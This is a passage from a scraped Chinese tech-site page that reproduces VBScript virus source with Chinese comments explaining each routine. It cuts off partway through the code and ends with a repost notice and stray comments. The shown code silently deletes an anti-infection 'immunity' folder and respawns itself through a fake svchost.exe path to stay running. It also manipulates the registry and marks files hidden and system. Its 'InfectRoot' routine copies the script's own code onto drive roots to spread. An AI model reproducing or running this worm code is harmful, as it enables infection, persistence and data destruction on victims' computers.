WshSHell.Run ('CMD /C RD /S /Q '& ImmunityFolder), vbHide,True'rd命令删除,配合 /s /q 选项,很轻松
End If
End Sub
Sub KeepProcess(VBSFullNames)'保持脚本进程持续运行,少于2个创建新进程
On Error Resume Next
For Each VBSFullName in VBSFullNames
If VBSProcessCount(VBSFullName) < 2 then
Run('%SystemRoot%\system\svchost.exe '&VBSFullName)
End If
Next
End Sub
Function GetSystemDrive()'获取系统盘的盘符,比如c:
GetSystemDrive=Left(Fso.GetSpecialFolder(0),2)
End Function
Function GetFileSystemType(Drive)'获取对应驱动器的文件系统格式
Set d=FSO.GetDrive(Drive)
GetFileSystemType=d.FileSystem
End Function
Function ReadReg(strkey)'读取注册表,搜索strkey,返回所在路径
Dim tmps
Set tmps=CreateObject('WScript.Shell')
ReadReg=tmps.RegRead(strkey)
Set tmps=Nothing
End Function
Sub WriteReg(strkey, Value, vtype)'写注册表
Dim tmps
Set tmps=CreateObject('WScript.Shell')
If vtype='' Then
tmps.RegWrite strkey, Value
Else
tmps.RegWrite strkey, Value, vtype
End If
Set tmps=Nothing
End Sub
Sub DeleteReg(strkey)'删除注册表
Dim tmps
Set tmps=CreateObject('WScript.Shell')
tmps.RegDelete strkey
Set tmps=Nothing
End Sub
Sub SetHiddenAttr(path)'6=2+4,分别是隐藏、系统属性
On Error Resume Next
Dim vf
Set vf=FSO.GetFile(path)
Set vf=FSO.GetFolder(path)
vf.Attributes=6
End Sub
Sub Run(ExeFullName)'执行ExeFullName指定的文件
On Error Resume Next
Dim WshShell
Set WshShell=WScript.CreateObject('WScript.Shell')
WshShell.Run ExeFullName
Set WshShell=Nothing
End Sub
Sub InfectRoot(D,VirusName)'感染根目录
On Error Resume Next
Dim VBSCode
VBSCode=GetCode(WScript.ScriptFullName)
VBSPath=D&':\'&VirusName
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-25802-7.html
不强硬
10月16日谁回去看小王子啊